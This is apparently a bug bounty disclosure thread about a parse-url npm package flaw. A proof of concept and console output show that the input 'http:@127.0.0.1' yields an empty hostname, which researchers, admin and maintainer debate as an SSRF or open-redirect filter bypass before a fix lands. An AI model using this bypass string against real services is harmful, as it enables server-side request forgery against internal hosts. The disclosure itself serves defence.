Improper Input Validation in ionicabizau/parse-url

Valid

Reported on

Feb 23rd 2022


Description

If hostname is not entered as in the following PoC, Open Redirect and SSRF occur because hostname is empty.

Proof of Concept

// PoC : http:@127.0.0.1
const parseUrl = require("parse-url")
const http = require("http")

url = parseUrl("http:@127.0.0.1")
console.log(url)
console.log(http.get(url.href))

Output

{
  protocols: [],
  protocol: 'file',
  port: null,
  resource: '',
  user: '',
  pathname: 'http:@127.0.0.1',
  hash: '',
  search: '',
  href: 'http:@127.0.0.1',
  query: [Object: null prototype] {}
}
ClientRequest {
  _events: [Object: null prototype] {
    socket: [Function: bound onceWrapper] { listener: [Function: onSocket] }
  },
  _eventsCount: 1,
  _maxListeners: undefined,
  outputData: [
    {
      data: 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n',
      encoding: 'latin1',
      callback: [Function: bound onFinish]
    }
  ],
  outputSize: 54,
  writable: true,
  _last: true,
  chunkedEncoding: false,
  shouldKeepAlive: false,
  _defaultKeepAlive: true,
  useChunkedEncodingByDefault: false,
  sendDate: false,
  _removedConnection: false,
  _removedContLen: false,
  _removedTE: false,
  _contentLength: 0,
  _hasBody: true,
  _trailer: '',
  finished: true,
  _headerSent: true,
  socket: null,
  connection: null,
  _header: 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n',
  _keepAliveTimeout: 0,
  _onPendingData: [Function: noopPendingOutput],
  agent: Agent {
    _events: [Object: null prototype] {
      free: [Function],
      newListener: [Function: maybeEnableKeylog]
    },
    _eventsCount: 2,
    _maxListeners: undefined,
    defaultPort: 80,
    protocol: 'http:',
    options: { path: null },
    requests: {},
    sockets: { '127.0.0.1:80:': [Array] },
    freeSockets: {},
    keepAliveMsecs: 1000,
    keepAlive: false,
    maxSockets: Infinity,
    maxFreeSockets: 256,
    maxTotalSockets: Infinity,
    totalSocketCount: 1,
    scheduling: 'fifo',
    [Symbol(kCapture)]: false
  },
  socketPath: undefined,
  method: 'GET',
  insecureHTTPParser: undefined,
  path: '/',
  _ended: false,
  res: null,
  aborted: false,
  timeoutCb: null,
  upgradeOrConnect: false,
  parser: null,
  maxHeadersCount: null,
  reusedSocket: false,
  host: '127.0.0.1',
  protocol: 'http:',
  [Symbol(kCapture)]: false,
  [Symbol(kNeedDrain)]: false,
  [Symbol(corked)]: 0,
  [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', '127.0.0.1' ] }
}

Occurrences

We are processing your report and will contact the ionicabizau/parse-url team within 24 hours. 2 years ago
Pocas modified the report
2 years ago
Pocas modified the report
2 years ago
Adam Nygate
2 years ago

Admin


Hi Pocas! This report is somewhat confusing. Are you describing a vulnerability in parse-url or in http?

Pocas
2 years ago

Researcher


Hello! This report describes a problem with url-parser. When parsing a poc by url-parser, the value of hostname is not parsed properly. If you look at the return value, you can see that the url is resolved to a path. However, it is explained that the above url is a general url, so requests can be sent normally. That is, this is a parsing error for the input value.

Pocas
2 years ago

Researcher


https://www.huntr.dev/bounties/83a6bc9a-b542-4a38-82cd-d995a1481155/

refer to the report above

Pocas modified the report
2 years ago
Adam Nygate
2 years ago

Admin


Ah got it but from your explanation, it seems like this parsing error can only be escalated into a vulnerability when chained with other components that may misuse the pathname property

Pocas
2 years ago

Researcher


Hmm, This is a problem because it does not correctly parse the hostname after the @ character. If it is normal, the value of hostname should be google.com. But that's not the case, this is similar to the reference report above, thanks!

Pocas
2 years ago

Researcher


normal
http:@google.com
> hostname: google.com
Adam Nygate
2 years ago

Admin


I understand the parsing issue but fail to see the clear escalation for this to be a vulnerability (without making assumptions of how it may be chained with other components)

Pocas
2 years ago

Researcher


but now this
http:@google.com
> hostname: Empty..
Pocas
2 years ago

Researcher


Hmm... So, isn't the other url-parser a vulnerability? Everything else was said to be valid. Yes I did not select this as Open Redirect, SSRF, Authorization Bypass. So I chose cwe-20, and you can see reports about cwe-20 on snyk.

Adam Nygate
2 years ago

Admin


I think we should stay focussed on this report. The issue I see with this report is that it's very unclear how this can be escalated into a vulnerability (rather than just a parsing issue).

Looking at this from a CVSS perspective, I fail to see how this affects Confidentiality, Integrity or Availability (without making assumptions about how it may be used).

Pocas
2 years ago

Researcher


for example, a specific developer is using this url-parser module to prevent the ssrf vulnerability. However, an attacker can bypass the localhost domain through a parsing error. without this assumption, in most cases the issue of url-parser would not be a vulnerability. I will follow the admin opinion in this regard. however, I hope that all the reports should be unified into one consistently. thanks

Adam Nygate
2 years ago

Admin


Regarding this report, I'll recommend an adjustment to the severity to remove the consideration of these assumptions of how it can be chained to lead to a vulnerability. If the maintainer perceives that these use cases are likely, they are able to update the severity to indicate this.

Adam Nygate modified the report
2 years ago
Pocas
2 years ago

Researcher


thank you admin

Ionică
2 years ago

Maintainer


Thank you for the report! I am wondering what the expected output would be in this case. http:@127.0.0.1 is in fact a valid local path. Is there a case when this would be a real URL?

Pocas
2 years ago

Researcher


{
   protocols: [],
   protocol: 'file',
   port: null,
   resource: '',
   user: '',
   pathname: 'http:@127.0.0.1',
   hash: '',
   search: '',
   href: 'http:@127.0.0.1',
   query: [Object: null prototype] {}
}

Yes! But if you look at the resulting value, you can see that the localhost url is not being parsed properly. You can see it parsed as pathname. Originally pathname should be empty, resource(hostname) should be 127.0.0.1 !

Pocas
2 years ago

Researcher


{
   protocols: ['http'],
   protocol: 'http',
   port: null,
   resource: '127.0.0.1',
   user: '',
   pathname: '',
   hash: '',
   search: '',
   href: 'http:@127.0.0.1',
   query: [Object: null prototype] {}
}

For example, it should be parsed as above!

Ionică
2 years ago

Maintainer


Well, the input is not really a valid URL (or is it?) — hence, it is identified as file (see the protocol). Then, of course the pathname is being set instead of any other fields.

Pocas
2 years ago

Researcher


The above URL is a valid URL, and a working URL. This should be the hacker's point of view. Normal users are not likely to bypass hostnames such as localhost. However, hackers can use this to bypass hostname and perform ssrf or open redirect attacks. Because the parser doesn't parse it properly

Pocas
2 years ago

Researcher


# http.get()
ClientRequest {
  _events: [Object: null prototype] {
    socket: [Function: bound onceWrapper] { listener: [Function: onSocket] }
  },
  _eventsCount: 1,
  _maxListeners: undefined,
  outputData: [
    {
      data: 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n',
      encoding: 'latin1',
      callback: [Function: bound onFinish]
    }
  ],
  outputSize: 54,
  writable: true,
  _last: true,
  chunkedEncoding: false,
  shouldKeepAlive: false,
  _defaultKeepAlive: true,
  useChunkedEncodingByDefault: false,
  sendDate: false,
  _removedConnection: false,
  _removedContLen: false,
  _removedTE: false,
  _contentLength: 0,
  _hasBody: true,
  _trailer: '',
  finished: true,
  _headerSent: true,
  socket: null,
  connection: null,
  _header: 'GET / HTTP/1.1\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n',
  _keepAliveTimeout: 0,
  _onPendingData: [Function: noopPendingOutput],
  agent: Agent {
    _events: [Object: null prototype] {
      free: [Function],
      newListener: [Function: maybeEnableKeylog]
    },
    _eventsCount: 2,
    _maxListeners: undefined,
    defaultPort: 80,
    protocol: 'http:',
    options: { path: null },
    requests: {},
    sockets: { '127.0.0.1:80:': [Array] },
    freeSockets: {},
    keepAliveMsecs: 1000,
    keepAlive: false,
    maxSockets: Infinity,
    maxFreeSockets: 256,
    maxTotalSockets: Infinity,
    totalSocketCount: 1,
    scheduling: 'fifo',
    [Symbol(kCapture)]: false
  },
  socketPath: undefined,
  method: 'GET',
  insecureHTTPParser: undefined,
  path: '/',
  _ended: false,
  res: null,
  aborted: false,
  timeoutCb: null,
  upgradeOrConnect: false,
  parser: null,
  maxHeadersCount: null,
  reusedSocket: false,
  host: '127.0.0.1',
  protocol: 'http:',
  [Symbol(kCapture)]: false,
  [Symbol(kNeedDrain)]: false,
  [Symbol(corked)]: 0,
  [Symbol(kOutHeaders)]: [Object: null prototype] { host: [ 'Host', '127.0.0.1' ] }
}

# curl

 ~  curl -i http:@localhost                                                                                                 ✔  9134  02:57:46
HTTP/1.1 200 OK
Date: Thu, 24 Feb 2022 17:57:48 GMT
Server: Apache/2.4.51 (Unix)
Last-Modified: Thu, 24 Feb 2022 17:56:05 GMT
ETag: "a-5d8c74bc75740"
Accept-Ranges: bytes
Content-Length: 10
Content-Type: text/html

localhost

# chrome browser
Entet the http:@localhost as url
Pocas
2 years ago

Researcher


https://www.huntr.dev/bounties/83a6bc9a-b542-4a38-82cd-d995a1481155/

you can also refer to the above url

Pocas
2 years ago

Researcher


const parser = require('url-parse');
console.log(parser("http:@127.0.0.1"))

output

{
   slashes: true,
   protocol: 'http:',
   hash: '',
   query: '',
   pathname: '/',
   auth: '',
   host: '127.0.0.1',
   port: '',
   hostname: '127.0.0.1',
   password: '',
   username: '',
   origin: 'http://127.0.0.1',
   href: 'http://127.0.0.1/'
}

Above is the return value of the unshiftio/url-parse module.

Ionică Bizău (Johnny B.) validated this vulnerability 2 years ago
Pocas has been awarded the disclosure bounty
The fix bounty is now up for grabs
Pocas
2 years ago

Researcher


thank you!

We have sent a fix follow up to the ionicabizau/parse-url team. We will try again in 7 days. 2 years ago
We have sent a second fix follow up to the ionicabizau/parse-url team. We will try again in 10 days. 2 years ago
We have sent a third and final fix follow up to the ionicabizau/parse-url team. This report is now considered stale. 2 years ago
Ionică Bizău (Johnny B.) marked this as fixed in 7.0.0 with commit 21c72a a year ago
Ionică Bizău (Johnny B.) has been awarded the fix bounty
This vulnerability will not receive a CVE
index.js#L2 has been validated
to join this conversation